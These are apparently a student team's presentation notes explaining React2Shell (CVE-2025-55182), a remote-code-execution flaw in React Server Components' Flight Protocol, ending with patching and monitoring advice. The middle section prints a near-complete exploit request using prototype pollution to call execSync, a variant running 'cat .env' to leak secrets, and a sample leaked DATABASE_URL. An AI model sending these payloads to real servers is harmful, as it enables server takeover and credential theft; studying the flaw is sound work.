| Member | Role | GitHub |
|---|
| 남인서 | 資料調査、PPT作成、発表 | @sene03 |
| 유승준 | 資料調査、PPT作成、発表 | @fluanceifi |
| 이수현 | 資料調査、PPT作成 | @hyun793 |
| 김유정 | 資料調査、PPT作成 | @yujung23 |
React2Shell(CVE-2025-55182)は、React Server Component(RSC)が使用するFlight Protocolの通信プロセスで発見された致命的なセキュリティ脆弱性です。
Reactはコンポーネントを処理するために、文字列、配列の他にPromise, Blob, Mapのような複雑な型に互換性のあるFlight Protocolを使用します。
| 表現式 | 型 | 説明 |
|---|---|---|
$$ | Escaped $ | $で始まるリテラル文字列 |
$@ | Promise/Chunk | Chunk ID参照 |
攻撃者はこのようなプロトコルストリーム処理方式の脆弱性を利用して、悪意のあるスクリプトを注入し、サーバーの制御権を獲得します。
攻撃者はNext-Action、multipart/form-dataヘッダーを含むリクエストを通じてJSONデータをサーバーに送信します。このときリクエストボディにPromiseオブジェクトのように偽装した偽のチャンク(Fake Chunk)を含めます。
POST / HTTP/1.1
Host: localhost: 3000
[... 기타 헤더 생략 ...]
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}
------WebkitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":
// 공격자가 전송한 가짜 청크 예시
{
"then" : "$1:__proto__:then"
"status" : "resolved_model",
"reason" : -1,
"value" : "{\"then\":\"$B0\"}",
"_response" : {
"_prefix": "execSync('cat .env'); //",
"_formData":{"get": "$1:constructor:constructor"}
}
}
then에 Chunk.prototype.then이 매핑됩니다._prefix에 담긴 악성 코드가 Function의 인자로 들어갑니다.thenable로 호출되는 순간, 공격자가 심어둔 임의의 코드가 서버에서 실행됩니다.// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 여기서 hasOwnProperty check가 누락됨!
}
$1:path:to:value形式の参照を解釈するとき、コロン(:)を基準に文字列を分割してオブジェクト内部を探索します。$1:__proto__:thenを解釈し、チャンクのプロトタイプとそのオブジェクトのthenにアクセスできるようになります(Chunk.prototype.then)。この脆弱性はモダンなウェブエコシステム全体に大きな波紋を引き起こしました。
React2Shell事件は「フロントエンド開発者もサーバーセキュリティを理解すべき」という教訓を残しました。
react-server-dom-webpackなどの関連パッケージを直ちに最新バージョン(19.0.1+など)にアップデート
Next.jsなどRSCを内蔵したフレームワークは、単にReactだけをアップデートしても解決されないため、フレームワーク自体のセキュリティリリースノートを確認し、最新バージョンへのアップグレードが必要
Grafanaのようなモニタリングシステムを活用し、メール、Slackなど警告を送信できる媒体と連携して即座に対応できるようにアラーム設定
技術の進歩によりフロントエンドの領域が拡大した分、セキュリティに対する責任の範囲も広がったことを認識しなければなりません。